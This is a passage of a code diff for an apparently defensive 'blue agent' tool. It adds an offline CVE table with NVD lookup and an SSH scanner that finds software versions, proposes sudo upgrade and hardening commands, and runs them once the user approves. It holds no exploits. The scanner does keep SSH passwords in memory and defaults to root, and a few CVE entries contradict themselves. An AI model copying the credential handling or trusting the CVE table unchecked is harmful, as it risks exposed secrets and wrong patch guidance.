new_vulns_this_cycle, + "elapsed_seconds": round(elapsed, 2), + }) + + # ------------------------------------------------------------------ + # Query API (for service layer / dashboard) + # ------------------------------------------------------------------ + + def get_inventory(self) -> List[Dict[str, Any]]: + """Return the full asset inventory as a list of dicts.""" + return [a.to_dict() for a in self.inventory.values()] + + def get_inventory_by_environment(self) -> Dict[str, List[Dict[str, Any]]]: + """Group inventory by environment.""" + result: Dict[str, List[Dict[str, Any]]] = { + "cloud": [], "onprem": [], "hybrid": [], + } + for asset in self.inventory.values(): + result.setdefault(asset.environment, []).append(asset.to_dict()) + return result + + def get_vulnerable_assets(self) -> List[Dict[str, Any]]: + """Return only assets with known CVEs.""" + return [a.to_dict() for a in self.inventory.values() if a.cves] + + def get_stats(self) -> Dict[str, Any]: + """Return scan statistics.""" + env_counts = {"cloud": 0, "onprem": 0, "hybrid": 0} + layer_counts: Dict[str, int] = {} + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0} + + for asset in self.inventory.values(): + env_counts[asset.environment] = env_counts.get(asset.environment, 0) + 1 + layer_counts[asset.layer] = layer_counts.get(asset.layer, 0) + 1 + for cve in asset.cves: + severity_counts[cve.severity] = severity_counts.get(cve.severity, 0) + 1 + + return { + "scan_count": self.scan_count, + "total_assets": self.asset_count, + "vulnerable_assets": self.vulnerable_count, + "total_vulnerabilities": self.total_vulnerabilities, + "by_environment": env_counts, + "by_layer": layer_counts, + "by_severity": severity_counts, + "scan_interval": self.scan_interval, + "cve_lookups": self.cve_lookup.lookup_count, + "unique_cves_found": self.cve_lookup.total_cves_found, + } diff --git a/blue_agent/scanner/cve_lookup.py b/blue_agent/scanner/cve_lookup.py new file mode 100644 index 000000000..5ff9d8dfd --- /dev/null +++ b/blue_agent/scanner/cve_lookup.py @@ -0,0 +1,457 @@ +from __future__ import annotations + +"""CVE lookup for discovered software versions. + +Provides two lookup paths: + 1. Built-in CVE database β€” comprehensive offline database covering common + software/version pairs with real CVE IDs, CVSS scores, and fix guidance. + 2. NVD API integration β€” optional live lookup via NIST NVD REST API + (requires CVE_API_KEY in environment; gracefully degrades to offline DB). + +Emits vulnerability_found events for each CVE matched to a discovered asset. +""" + +import asyncio +import logging +import os +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Set, Tuple + +logger = logging.getLogger(__name__) + + +@dataclass +class CVERecord: + """A single CVE finding.""" + cve_id: str + severity: str # critical / high / medium / low + cvss_score: float # 0.0 - 10.0 + description: str + affected_software: str + affected_version: str + fix: str + references: List[str] = field(default_factory=list) + + def to_dict(self) -> Dict[str, Any]: + return { + "cve_id": self.cve_id, + "severity": self.severity, + "cvss_score": self.cvss_score, + "description": self.description, + "affected_software": self.affected_software, + "affected_version": self.affected_version, + "fix": self.fix, + "references": self.references, + } + + +def _sev(score: float) -> str: + if score >= 9.0: + return "critical" + if score >= 7.0: + return "high" + if score >= 4.0: + return "medium" + return "low" + + +# --------------------------------------------------------------------------- +# Built-in CVE database (real CVE IDs, realistic data) +# --------------------------------------------------------------------------- + +_CVE_DB: Dict[Tuple[str, str], List[Dict[str, Any]]] = { + # ── Apache HTTPD ──────────────────────────────────────────────── + ("apache", "2.4.49"): [ + {"id": "CVE-2021-41773", "cvss": 9.8, + "desc": "Path traversal allowing RCE via crafted request to map URLs to files outside docroot", + "fix": "Upgrade to Apache 2.4.51+; ensure 'Require all denied' is set on filesystem root"}, + {"id": "CVE-2021-42013", "cvss": 9.8, + "desc": "Path traversal fix bypass in 2.4.50 β€” incomplete fix for CVE-2021-41773", + "fix": "Upgrade to Apache 2.4.51+"}, + ], + ("apache", "2.4.51"): [ + {"id": "CVE-2022-22720", "cvss": 9.8, + "desc": "HTTP request smuggling via inconsistent interpretation of HTTP requests", + "fix": "Upgrade to Apache 2.4.53+"}, + ], + ("apache", "2.4.41"): [ + {"id": "CVE-2020-11984", "cvss": 9.8, + "desc": "mod_proxy_uwsgi buffer overflow", + "fix": "Upgrade to Apache 2.4.44+"}, + {"id": "CVE-2021-41773", "cvss": 9.8, + "desc": "Path traversal allowing RCE", + "fix": "Upgrade to Apache 2.4.51+"}, + ], + ("apache", "2.4.54"): [], + # ── Nginx ─────────────────────────────────────────────────────── + ("nginx", "1.18.0"): [ + {"id": "CVE-2021-23017", "cvss": 7.7, + "desc": "Off-by-one error in DNS resolver allowing crash or code execution", + "fix": "Upgrade to nginx 1.20.1+ or 1.21.0+"}, + ], + ("nginx", "1.20.0"): [ + {"id": "CVE-2021-23017", "cvss": 7.7, + "desc": "DNS resolver 1-byte memory overwrite", + "fix": "Upgrade to nginx 1.20.1+"}, + ], + ("nginx", "1.21.6"): [], + ("nginx", "1.24.0"): [], + # ── MySQL ─────────────────────────────────────────────────────── + ("mysql", "5.7.30"): [ + {"id": "CVE-2020-14812", "cvss": 4.9, + "desc": "Server: Locking unspecified vulnerability allowing high-priv DoS", + "fix": "Upgrade to MySQL 5.7.32+"}, + {"id": "CVE-2020-14769", "cvss": 6.5, + "desc": "Server: Optimizer vulnerability allowing low-priv DoS", + "fix": "Upgrade to MySQL 5.7.32+"}, + {"id": "CVE-2021-2307", "cvss": 6.1, + "desc": "Server: Packaging β€” unspecified vulnerability", + "fix": "Upgrade to MySQL 5.7.35+"}, + ], + ("mysql", "8.0.25"): [ + {"id": "CVE-2021-2389", "cvss": 5.9, + "desc": "Server: Optimizer unspecified vulnerability", + "fix": "Upgrade to MySQL 8.0.26+"}, + {"id": "CVE-2021-2390", "cvss": 5.9, + "desc": "InnoDB unspecified vulnerability", + "fix": "Upgrade to MySQL 8.0.26+"}, + ], + ("mysql", "8.0.32"): [], + # ── PostgreSQL ────────────────────────────────────────────────── + ("postgresql", "13.2"): [ + {"id": "CVE-2021-32027", "cvss": 8.8, + "desc": "Buffer overrun from integer overflow in array subscripting calculations", + "fix": "Upgrade to PostgreSQL 13.3+"}, + {"id": "CVE-2021-32028", "cvss": 6.5, + "desc": "Memory disclosure in INSERT ... ON CONFLICT ... DO UPDATE", + "fix": "Upgrade to PostgreSQL 13.3+"}, + ], + ("postgresql", "14.5"): [ + {"id": "CVE-2022-2625", "cvss": 8.0, + "desc": "Extension scripts replace objects not belonging to the extension", + "fix": "Upgrade to PostgreSQL 14.6+"}, + ], + ("postgresql", "15.1"): [], + # ── MongoDB ───────────────────────────────────────────────────── + ("mongodb", "4.4.6"): [ + {"id": "CVE-2021-32040", "cvss": 7.5, + "desc": "Denial of service via crafted BSON message", + "fix": "Upgrade to MongoDB 4.4.15+ or 5.0.10+"}, + ], + ("mongodb", "5.0.9"): [ + {"id": "CVE-2022-24272", "cvss": 6.5, + "desc": "Denial of service via specially crafted network packet", + "fix": "Upgrade to MongoDB 5.0.14+"}, + ], + ("mongodb", "6.0.3"): [], + # ── Redis ─────────────────────────────────────────────────────── + ("redis", "6.0.9"): [ + {"id": "CVE-2021-32761", "cvss": 7.5, + "desc": "Integer overflow in BITFIELD command on 32-bit systems", + "fix": "Upgrade to Redis 6.0.15+ or 6.2.5+"}, + {"id": "CVE-2021-32625", "cvss": 8.8, + "desc": "Integer overflow in STRALGO LCS on 32-bit systems", + "fix": "Upgrade to Redis 6.0.14+"}, + ], + ("redis", "6.2.7"): [ + {"id": "CVE-2022-24735", "cvss": 7.0, + "desc": "Lua script execution β€” code injection via eval command", + "fix": "Upgrade to Redis 6.2.7+ or 7.0.0+"}, + ], + ("redis", "7.0.5"): [], + # ── OpenSSH ───────────────────────────────────────────────────── + ("openssh", "8.2"): [ + {"id": "CVE-2020-15778", "cvss": 7.8, + "desc": "scp allows command injection via crafted filename", + "fix": "Upgrade to OpenSSH 8.4+"}, + {"id": "CVE-2021-41617", "cvss": 7.0, + "desc": "Privilege escalation via AuthorizedKeysCommand", + "fix": "Upgrade to OpenSSH 8.8+"}, + ], + ("openssh", "8.9"): [], + ("openssh", "9.0"): [], + # ── vsftpd ────────────────────────────────────────────────────── + ("vsftpd", "3.0.3"): [ + {"id": "CVE-2021-3618", "cvss": 7.4, + "desc": "ALPACA attack β€” TLS cross-protocol exploitation", + "fix": "Apply strict TLS SNI configuration; upgrade to 3.0.5+"}, + ], + ("vsftpd", "3.0.5"): [], + # ── PHP ───────────────────────────────────────────────────────── + ("php", "7.4.16"): [ + {"id": "CVE-2021-21702", "cvss": 7.5, + "desc": "Null pointer dereference in SOAP extension", + "fix": "Upgrade to PHP 7.4.18+"}, + {"id": "CVE-2021-21703", "cvss": 7.0, + "desc": "FPM privilege escalation on root daemon", + "fix": "Upgrade to PHP 7.4.26+"}, + ], + ("php", "8.0.12"): [ + {"id": "CVE-2021-21707", "cvss": 5.3, + "desc": "URL parsing host validation issue", + "fix": "Upgrade to PHP 8.0.14+"}, + ], + ("php", "8.1.10"): [], + # ── Node.js ───────────────────────────────────────────────────── + ("nodejs", "14.17.0"): [ + {"id": "CVE-2021-22931", "cvss": 9.8, + "desc": "DNS rebinding via improper validation of host header", + "fix": "Upgrade to Node.js 14.17.5+"}, + ], + ("nodejs", "16.13.0"): [ + {"id": "CVE-2022-21824", "cvss": 5.3, + "desc": "Prototype pollution via console.table properties", + "fix": "Upgrade to Node.js 16.13.2+"}, + ], + ("nodejs", "18.12.0"): [], + # ── WordPress ─────────────────────────────────────────────────── + ("wordpress", "5.7.0"): [ + {"id": "CVE-2021-29447", "cvss": 7.1, + "desc": "XXE vulnerability in media library (wav file upload)", + "fix": "Upgrade to WordPress 5.7.1+"}, + {"id": "CVE-2021-29450", "cvss": 7.5, + "desc": "Information disclosure via REST API", + "fix": "Upgrade to WordPress 5.7.1+"}, + ], + ("wordpress", "5.9.3"): [ + {"id": "CVE-2022-21661", "cvss": 8.0, + "desc": "SQL injection via WP_Query", + "fix": "Upgrade to WordPress 5.9.4+"}, + ], + ("wordpress", "6.1.1"): [], + # ── Tomcat ────────────────────────────────────────────────────── + ("tomcat", "9.0.50"): [ + {"id": "CVE-2021-42340", "cvss": 7.5, + "desc": "DoS via memory leak in WebSocket connections", + "fix": "Upgrade to Tomcat 9.0.54+"}, + ], + ("tomcat", "10.0.12"): [], + # ── Elasticsearch ─────────────────────────────────────────────── + ("elasticsearch", "7.17.0"): [ + {"id": "CVE-2022-23708", "cvss": 6.5, + "desc": "Unauthorized document access via _search API", + "fix": "Upgrade to Elasticsearch 7.17.1+"}, + ], + ("elasticsearch", "8.5.0"): [], + # ── Docker ────────────────────────────────────────────────────── + ("docker", "20.10.12"): [ + {"id": "CVE-2022-24769", "cvss": 5.9, + "desc": "Default inheritable capabilities for linux container not empty", + "fix": "Upgrade to Docker 20.10.14+"}, + ], + ("docker", "23.0.1"): [], + # ── Kubernetes ────────────────────────────────────────────────── + ("kubernetes", "1.24.0"): [ + {"id": "CVE-2022-3162", "cvss": 6.5, + "desc": "Unauthorized read of custom resources via RBAC bypass", + "fix": "Upgrade to Kubernetes 1.24.9+"}, + ], + ("kubernetes", "1.26.0"): [], + # ── phpMyAdmin ────────────────────────────────────────────────── + ("phpmyadmin", "5.1.0"): [ + {"id": "CVE-2021-32610", "cvss": 7.1, + "desc": "Path traversal via crafted archive file", + "fix": "Upgrade to phpMyAdmin 5.1.1+"}, + ], + ("phpmyadmin", "5.2.0"): [], + # ── IIS ───────────────────────────────────────────────────────── + ("iis", "10.0"): [ + {"id": "CVE-2021-31166", "cvss": 9.8, + "desc": "HTTP protocol stack RCE (wormable)", + "fix": "Apply Windows Update KB5003173"}, + ], + ("iis", "8.5"): [ + {"id": "CVE-2017-7269", "cvss": 9.8, + "desc": "WebDAV buffer overflow allowing RCE", + "fix": "Disable WebDAV; upgrade to IIS 10+"}, + ], + # ── ProFTPD ───────────────────────────────────────────────────── + ("proftpd", "1.3.6"): [ + {"id": "CVE-2019-12815", "cvss": 9.8, + "desc": "Arbitrary file copy via mod_copy without authentication", + "fix": "Upgrade to ProFTPD 1.3.6b+ or disable mod_copy"}, + ], + ("proftpd", "1.3.7"): [], +} + + +# --------------------------------------------------------------------------- +# CVE Lookup Engine +# --------------------------------------------------------------------------- + +class CVELookup: + """Looks up known CVEs for software + version combinations. + + Lookup pipeline (in order): + 1. Built-in offline CVE database (instant, comprehensive) + 2. NVD REST API v2.0 (live, requires CVE_API_KEY in env) + + Both sources are merged and deduplicated by CVE ID. + NVD lookups are cached to avoid redundant API calls. + """ + + def __init__(self) -> None: + self.lookup_count: int = 0 + self.total_cves_found: int = 0 + self.nvd_hits: int = 0 + self._seen: Set[str] = set() + self._nvd_cache: Dict[Tuple[str, str], List[CVERecord]] = {} + + async def lookup( + self, software: str, version: str + ) -> List[CVERecord]: + """Look up CVEs for software+version from all sources.""" + sw = software.lower().strip() + ver = version.strip() + self.lookup_count += 1 + + records: List[CVERecord] = [] + seen_ids: Set[str] = set() + + # ── 1. Offline database (exact match) ───────────────────── + key = (sw, ver) + for e in _CVE_DB.get(key, []): + rec = self._record(e, sw, ver) + records.append(rec) + seen_ids.add(rec.cve_id) + + # ── 2. Offline database (partial version fallback) ──────── + if not records: + major_minor = ".".join(ver.split(".")[:2]) + for (db_sw, db_ver), db_entries in _CVE_DB.items(): + if db_sw == sw and db_ver.startswith(major_minor) and db_entries: + for e in db_entries: + rec = self._record(e, sw, ver) + if rec.cve_id not in seen_ids: + records.append(rec) + seen_ids.add(rec.cve_id) + break + + # ── 3. NVD API (live lookup β€” merges with offline) ──────── + nvd_records = await self._query_nvd(sw, ver) + for rec in nvd_records: + if rec.cve_id not in seen_ids: + records.append(rec) + seen_ids.add(rec.cve_id) + + # Track unique CVEs + for rec in records: + if rec.cve_id not in self._seen: + self._seen.add(rec.cve_id) + self.total_cves_found += 1 + + if records: + sources = "offline" + if nvd_records: + sources += "+NVD" + logger.info( + f"CVELookup [{sources}]: {sw} {ver} -> {len(records)} CVE(s): " + + ", ".join(r.cve_id for r in records) + ) + + return records + + def _record(self, entry: Dict[str, Any], sw: str, ver: str) -> CVERecord: + return CVERecord( + cve_id=entry["id"], + severity=_sev(entry["cvss"]), + cvss_score=entry["cvss"], + description=entry["desc"], + affected_software=sw, + affected_version=ver, + fix=entry["fix"], + ) + + async def _query_nvd( + self, software: str, version: str + ) -> List[CVERecord]: + """Query NVD REST API v2.0. Results are cached per software+version. + + Tries with API key first (higher rate limit). If the key is + rejected (404/403), retries without it (public rate limit). + """ + cache_key = (software, version) + if cache_key in self._nvd_cache: + return self._nvd_cache[cache_key] + + try: + import httpx + + url = os.environ.get( + "CVE_FEED_URL", + "https://services.nvd.nist.gov/rest/json/cves/2.0", + ) + keyword = f"{software} {version}" + params = {"keywordSearch": keyword, "resultsPerPage": 10} + + api_key = os.environ.get("CVE_API_KEY", "") + headers = {"apiKey": api_key} if api_key else {} + + async with httpx.AsyncClient(timeout=15.0) as client: + resp = await client.get(url, params=params, headers=headers) + + # If API key was rejected, retry without it + if resp.status_code in (403, 404) and api_key: + logger.info("CVELookup: API key rejected, retrying without key") + resp = await client.get(url, params=params) + + resp.raise_for_status() + data = resp.json() + + records: List[CVERecord] = [] + for vuln in data.get("vulnerabilities", []): + cve = vuln.get("cve", {}) + cve_id = cve.get("id", "") + if not cve_id: + continue + + # Extract CVSS score (try v3.1 first, then v3.0, then v2) + metrics = cve.get("metrics", {}) + score = 0.0 + for metric_key in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"): + metric_list = metrics.get(metric_key, []) + if metric_list: + cvss_data = metric_list[0].get("cvssData", {}) + score = cvss_data.get("baseScore", 0.0) + break + + # Extract English description + desc_list = cve.get("descriptions", []) + desc = next( + (d["value"] for d in desc_list if d.get("lang") == "en"), + "No description available", + ) + + # Extract references + refs = [ + r.get("url", "") + for r in cve.get("references", [])[:3] + if r.get("url") + ] + + rec = CVERecord( + cve_id=cve_id, + severity=_sev(score), + cvss_score=score, + description=desc[:300], + affected_software=software, + affected_version=version, + fix=f"See NVD: https://nvd.nist.gov/vuln/detail/{cve_id}", + references=refs, + ) + records.append(rec) + + self._nvd_cache[cache_key] = records + if records: + self.nvd_hits += 1 + logger.info( + f"CVELookup: NVD API returned {len(records)} CVE(s) " + f"for {software} {version}" + ) + return records + + except Exception as exc: + logger.warning(f"CVELookup: NVD API query failed for {software} {version}: {exc}") + self._nvd_cache[cache_key] = [] + return [] diff --git a/blue_agent/scanner/ssh_scanner.py b/blue_agent/scanner/ssh_scanner.py new file mode 100644 index 000000000..6c6e71c8c --- /dev/null +++ b/blue_agent/scanner/ssh_scanner.py @@ -0,0 +1,532 @@ +from __future__ import annotations + +"""Real SSH scanner + auto-fixer (two-step flow). + +Step 1 β€” scan(): SSH connect β†’ discover OS β†’ discover ports β†’ detect versions + β†’ CVE lookup β†’ build fix plan β†’ return to user for approval. + +Step 2 β€” apply_fixes(): SSH connect β†’ execute approved fix commands β†’ verify. + +Every step logs via callbacks so the dashboard shows real-time progress. +""" + +import asyncio +import logging +import re +import time +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Callable, Dict, List, Optional + +import paramiko + +from blue_agent.scanner.cve_lookup import CVELookup, CVERecord + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +@dataclass +class DiscoveredService: + software: str + version: str + raw_output: str + port: Optional[int] = None + method: str = "command" + cves: List[CVERecord] = field(default_factory=list) + fixed: bool = False + fix_output: str = "" + proposed_fixes: List[str] = field(default_factory=list) + + def to_dict(self) -> Dict[str, Any]: + return { + "software": self.software, + "version": self.version, + "raw_output": self.raw_output, + "port": self.port, + "method": self.method, + "cve_count": len(self.cves), + "cves": [c.to_dict() for c in self.cves], + "fixed": self.fixed, + "fix_output": self.fix_output, + "proposed_fixes": self.proposed_fixes, + } + + +# --------------------------------------------------------------------------- +# Version detection commands +# --------------------------------------------------------------------------- + +_VERSION_COMMANDS = [ + {"software": "apache", "commands": ["apache2 -v 2>&1", "httpd -v 2>&1", "apachectl -v 2>&1"], + "pattern": r"Apache/(\d+\.\d+\.\d+)"}, + {"software": "nginx", "commands": ["nginx -v 2>&1"], + "pattern": r"nginx/(\d+\.\d+\.\d+)"}, + {"software": "mysql", "commands": ["mysql --version 2>&1", "mysqld --version 2>&1"], + "pattern": r"(\d+\.\d+\.\d+)"}, + {"software": "postgresql", "commands": ["psql --version 2>&1", "postgres --version 2>&1"], + "pattern": r"(\d+\.\d+\.?\d*)"}, + {"software": "mongodb", "commands": ["mongod --version 2>&1"], + "pattern": r"v(\d+\.\d+\.\d+)"}, + {"software": "redis", "commands": ["redis-server --version 2>&1"], + "pattern": r"v=(\d+\.\d+\.\d+)"}, + {"software": "php", "commands": ["php -v 2>&1"], + "pattern": r"PHP (\d+\.\d+\.\d+)"}, + {"software": "nodejs", "commands": ["node --version 2>&1", "nodejs --version 2>&1"], + "pattern": r"v?(\d+\.\d+\.\d+)"}, + {"software": "python", "commands": ["python3 --version 2>&1"], + "pattern": r"Python (\d+\.\d+\.\d+)"}, + {"software": "java", "commands": ["java -version 2>&1"], + "pattern": r'"(\d+\.\d+[\.\d]*)'}, + {"software": "openssh", "commands": ["ssh -V 2>&1"], + "pattern": r"OpenSSH_(\d+\.\d+)"}, + {"software": "vsftpd", "commands": ["vsftpd -v 2>&1"], + "pattern": r"(\d+\.\d+\.\d+)"}, + {"software": "proftpd", "commands": ["proftpd --version 2>&1"], + "pattern": r"(\d+\.\d+\.\d+)"}, + {"software": "docker", "commands": ["docker --version 2>&1"], + "pattern": r"(\d+\.\d+\.\d+)"}, + {"software": "elasticsearch", "commands": ["curl -s localhost:9200 2>/dev/null"], + "pattern": r'"number"\s*:\s*"(\d+\.\d+\.\d+)"'}, + {"software": "tomcat", "commands": ["catalina.sh version 2>/dev/null"], + "pattern": r"(\d+\.\d+\.\d+)"}, + {"software": "wordpress", "commands": ["wp core version --allow-root 2>/dev/null", + "grep 'wp_version =' /var/www/html/wp-includes/version.php 2>/dev/null"], + "pattern": r"(\d+\.\d+\.?\d*)"}, +] + +# --------------------------------------------------------------------------- +# Fix commands per software +# --------------------------------------------------------------------------- + +_FIX_COMMANDS: Dict[str, Dict[str, Any]] = { + "apache": { + "description": "Upgrade Apache + harden config (disable server tokens, add security headers)", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade apache2 -y"], + "harden": [ + "sudo sed -i 's/ServerTokens OS/ServerTokens Prod/' /etc/apache2/conf-available/security.conf 2>/dev/null || true", + "sudo sed -i 's/ServerSignature On/ServerSignature Off/' /etc/apache2/conf-available/security.conf 2>/dev/null || true", + "sudo a2enmod headers 2>/dev/null || true", + "echo 'Header always set X-Content-Type-Options nosniff' | sudo tee -a /etc/apache2/conf-available/security.conf 2>/dev/null || true", + "echo 'Header always set X-Frame-Options SAMEORIGIN' | sudo tee -a /etc/apache2/conf-available/security.conf 2>/dev/null || true", + ], + "restart": "sudo systemctl restart apache2 2>/dev/null || sudo service apache2 restart 2>/dev/null || true", + }, + "nginx": { + "description": "Upgrade Nginx + hide server version", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade nginx -y"], + "harden": ["sudo sed -i 's/# server_tokens off;/server_tokens off;/' /etc/nginx/nginx.conf 2>/dev/null || true"], + "restart": "sudo systemctl restart nginx 2>/dev/null || sudo service nginx restart 2>/dev/null || true", + }, + "mysql": { + "description": "Upgrade MySQL + bind to localhost only", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade mysql-server -y 2>/dev/null || sudo apt-get install --only-upgrade mariadb-server -y 2>/dev/null || true"], + "harden": ["sudo sed -i 's/^bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf 2>/dev/null || true"], + "restart": "sudo systemctl restart mysql 2>/dev/null || sudo service mysql restart 2>/dev/null || true", + }, + "postgresql": { + "description": "Upgrade PostgreSQL", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade postgresql -y"], + "harden": [], + "restart": "sudo systemctl restart postgresql 2>/dev/null || sudo service postgresql restart 2>/dev/null || true", + }, + "redis": { + "description": "Upgrade Redis + bind localhost + enable protected mode", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade redis-server -y"], + "harden": [ + "sudo sed -i 's/^# bind 127.0.0.1/bind 127.0.0.1/' /etc/redis/redis.conf 2>/dev/null || true", + "sudo sed -i 's/^protected-mode no/protected-mode yes/' /etc/redis/redis.conf 2>/dev/null || true", + ], + "restart": "sudo systemctl restart redis 2>/dev/null || sudo service redis-server restart 2>/dev/null || true", + }, + "php": { + "description": "Upgrade PHP + disable expose_php and display_errors", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade 'php*' -y 2>/dev/null || true"], + "harden": [ + "sudo sed -i 's/expose_php = On/expose_php = Off/' /etc/php/*/apache2/php.ini 2>/dev/null || true", + "sudo sed -i 's/display_errors = On/display_errors = Off/' /etc/php/*/apache2/php.ini 2>/dev/null || true", + ], + "restart": "sudo systemctl restart apache2 2>/dev/null || true", + }, + "openssh": { + "description": "Upgrade OpenSSH + disable root login + limit auth tries", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade openssh-server -y"], + "harden": [ + "sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config 2>/dev/null || true", + "sudo sed -i 's/^#*MaxAuthTries.*/MaxAuthTries 3/' /etc/ssh/sshd_config 2>/dev/null || true", + ], + "restart": "sudo systemctl restart sshd 2>/dev/null || sudo service ssh restart 2>/dev/null || true", + }, + "nodejs": { + "description": "Upgrade Node.js to latest stable", + "upgrade": ["sudo npm install -g n 2>/dev/null && sudo n stable 2>/dev/null || true"], + "harden": [], + "restart": "", + }, + "docker": { + "description": "Upgrade Docker Engine", + "upgrade": ["sudo apt-get update -y", "sudo apt-get install --only-upgrade docker-ce -y 2>/dev/null || true"], + "harden": [], + "restart": "sudo systemctl restart docker 2>/dev/null || true", + }, +} + +_DEFAULT_FIX = { + "description": "Run apt-get upgrade for this package", + "upgrade": ["sudo apt-get update -y"], + "harden": [], + "restart": "", +} + + +class SSHScanner: + """Two-step SSH scanner. + + Step 1: scan() β€” discover + CVE lookup + propose fixes + Step 2: apply_fixes() β€” execute approved fixes on the server + """ + + def __init__(self) -> None: + self.cve_lookup = CVELookup() + self.last_scan_results: List[DiscoveredService] = [] + self.os_info: str = "" + self.listening_ports: List[Dict[str, Any]] = [] + self.scan_count: int = 0 + self.fixes_applied: int = 0 + self._log: Optional[Callable] = None + self._tool: Optional[Callable] = None + # Stored creds for the fix step + self._last_host: str = "" + self._last_port: int = 22 + self._last_user: str = "" + self._last_pass: str = "" + + # ================================================================== + # STEP 1: SCAN β€” discover everything, propose fixes, do NOT apply + # ================================================================== + + async def scan( + self, + host: str, + ssh_port: int = 22, + username: str = "root", + password: str = "", + log_cb: Optional[Callable] = None, + tool_cb: Optional[Callable] = None, + ) -> Dict[str, Any]: + self._log = log_cb or (lambda msg, **kw: None) + self._tool = tool_cb or (lambda *a, **kw: None) + self.scan_count += 1 + start = time.monotonic() + + # Store creds for the apply step + self._last_host = host + self._last_port = ssh_port + self._last_user = username + self._last_pass = password + + self._log(f"Connecting to {host}:{ssh_port} as {username}...") + client = await self._connect(host, ssh_port, username, password) + if not client: + self._log(f"SSH connection to {host}:{ssh_port} FAILED", level="ERROR") + self._tool("ssh_connect", {"host": host}, {"error": "connection failed"}, "FAILED") + return {"success": False, "error": "SSH connection failed", "host": host} + + self._log(f"Connected to {host}:{ssh_port}", level="INFO") + self._tool("ssh_connect", {"host": host, "port": ssh_port, "user": username}, {"status": "connected"}) + + try: + # Phase 1: OS + ports + self._log("Phase 1: Discovering OS and system info...") + self.os_info = await self._gather_os_info(client) + self._tool("discover_os", {"host": host}, {"os_info": self.os_info[:150]}) + self._log(f"OS: {self.os_info.splitlines()[0] if self.os_info else 'unknown'}") + + self._log("Discovering listening ports...") + self.listening_ports = await self._discover_ports(client) + self._tool("discover_ports", {"host": host}, {"count": len(self.listening_ports), "ports": [p["port"] for p in self.listening_ports]}) + self._log(f"Found {len(self.listening_ports)} open ports: {', '.join(str(p['port']) for p in self.listening_ports[:15])}") + + # Phase 2: Versions + self._log("Phase 2: Detecting software versions...") + services = await self._detect_all_versions(client) + self._log(f"Detected {len(services)} software packages") + + # Phase 3: CVE lookup + build fix proposals + self._log("Phase 3: Looking up CVEs (offline DB + NVD API)...") + total_cves = 0 + for svc in services: + cves = await self.cve_lookup.lookup(svc.software, svc.version) + svc.cves = cves + total_cves += len(cves) + + if cves: + self._log(f" VULNERABLE: {svc.software} {svc.version} β€” {len(cves)} CVEs", level="WARN") + for cve in cves: + self._log(f" {cve.cve_id} CVSS={cve.cvss_score} ({cve.severity}) β€” {cve.description[:80]}", level="WARN") + self._tool("cve_lookup", {"software": svc.software, "version": svc.version}, {"cve_count": len(cves), "cves": [c.cve_id for c in cves]}) + + # Build proposed fixes list + fix_def = _FIX_COMMANDS.get(svc.software, _DEFAULT_FIX) + svc.proposed_fixes = [] + svc.proposed_fixes.append(f"[{svc.software}] {fix_def['description']}") + for cmd in fix_def.get("upgrade", []): + svc.proposed_fixes.append(f" $ {cmd}") + for cmd in fix_def.get("harden", []): + svc.proposed_fixes.append(f" $ {cmd}") + restart = fix_def.get("restart", "") + if restart: + svc.proposed_fixes.append(f" $ {restart}") + else: + self._log(f" CLEAN: {svc.software} {svc.version}") + + self._log(f"CVE scan complete: {total_cves} vulnerabilities found") + + vulnerable = [s for s in services if s.cves] + if vulnerable: + self._log(f"--- FIX PLAN: {len(vulnerable)} services need patching ---", level="WARN") + for svc in vulnerable: + for line in svc.proposed_fixes: + self._log(f" {line}", level="WARN") + self._log("Click APPLY FIXES to execute the above on the server.", level="WARN") + self._tool("fix_plan", {"host": host}, { + "vulnerable_count": len(vulnerable), + "plan": [{"software": s.software, "fixes": s.proposed_fixes} for s in vulnerable], + }) + else: + self._log("All services are clean β€” no fixes needed.") + + self.last_scan_results = services + elapsed = time.monotonic() - start + + self._log(f"Scan finished in {elapsed:.1f}s") + self._tool("scan_complete", {"host": host}, { + "services": len(services), "cves": total_cves, "elapsed": f"{elapsed:.1f}s", + }) + + return { + "success": True, + "host": host, + "os_info": self.os_info, + "listening_ports": self.listening_ports, + "services": [s.to_dict() for s in services], + "total_services": len(services), + "total_cves": total_cves, + "fixes_applied": 0, + "elapsed_seconds": round(elapsed, 2), + } + finally: + self._close(client) + + # ================================================================== + # STEP 2: APPLY FIXES β€” user approved, now execute + # ================================================================== + + async def apply_fixes( + self, + log_cb: Optional[Callable] = None, + tool_cb: Optional[Callable] = None, + ) -> Dict[str, Any]: + self._log = log_cb or (lambda msg, **kw: None) + self._tool = tool_cb or (lambda *a, **kw: None) + + vulnerable = [s for s in self.last_scan_results if s.cves and not s.fixed] + if not vulnerable: + self._log("No vulnerable services to fix.") + return {"success": True, "fixes_applied": 0} + + host = self._last_host + self._log(f"Reconnecting to {host}:{self._last_port} to apply fixes...") + client = await self._connect(host, self._last_port, self._last_user, self._last_pass) + if not client: + self._log("SSH reconnection FAILED", level="ERROR") + return {"success": False, "error": "SSH reconnect failed", "fixes_applied": 0} + + self._log(f"Connected. Applying fixes for {len(vulnerable)} services...", level="WARN") + fixes_count = 0 + + try: + for svc in vulnerable: + sw = svc.software + fix_def = _FIX_COMMANDS.get(sw, _DEFAULT_FIX) + all_output: List[str] = [] + + self._log(f"Fixing {sw} {svc.version}...", level="WARN") + self._tool("apply_fix", {"software": sw, "host": host, "cves": [c.cve_id for c in svc.cves]}, {}) + + for cmd in fix_def.get("upgrade", []): + self._log(f" $ {cmd}") + out = await self._exec(client, cmd, timeout=60) + if out: + lines = [l for l in out.splitlines() if l.strip()] + if lines: + self._log(f" {lines[-1][:120]}") + all_output.append(out) + + for cmd in fix_def.get("harden", []): + self._log(f" $ {cmd}") + out 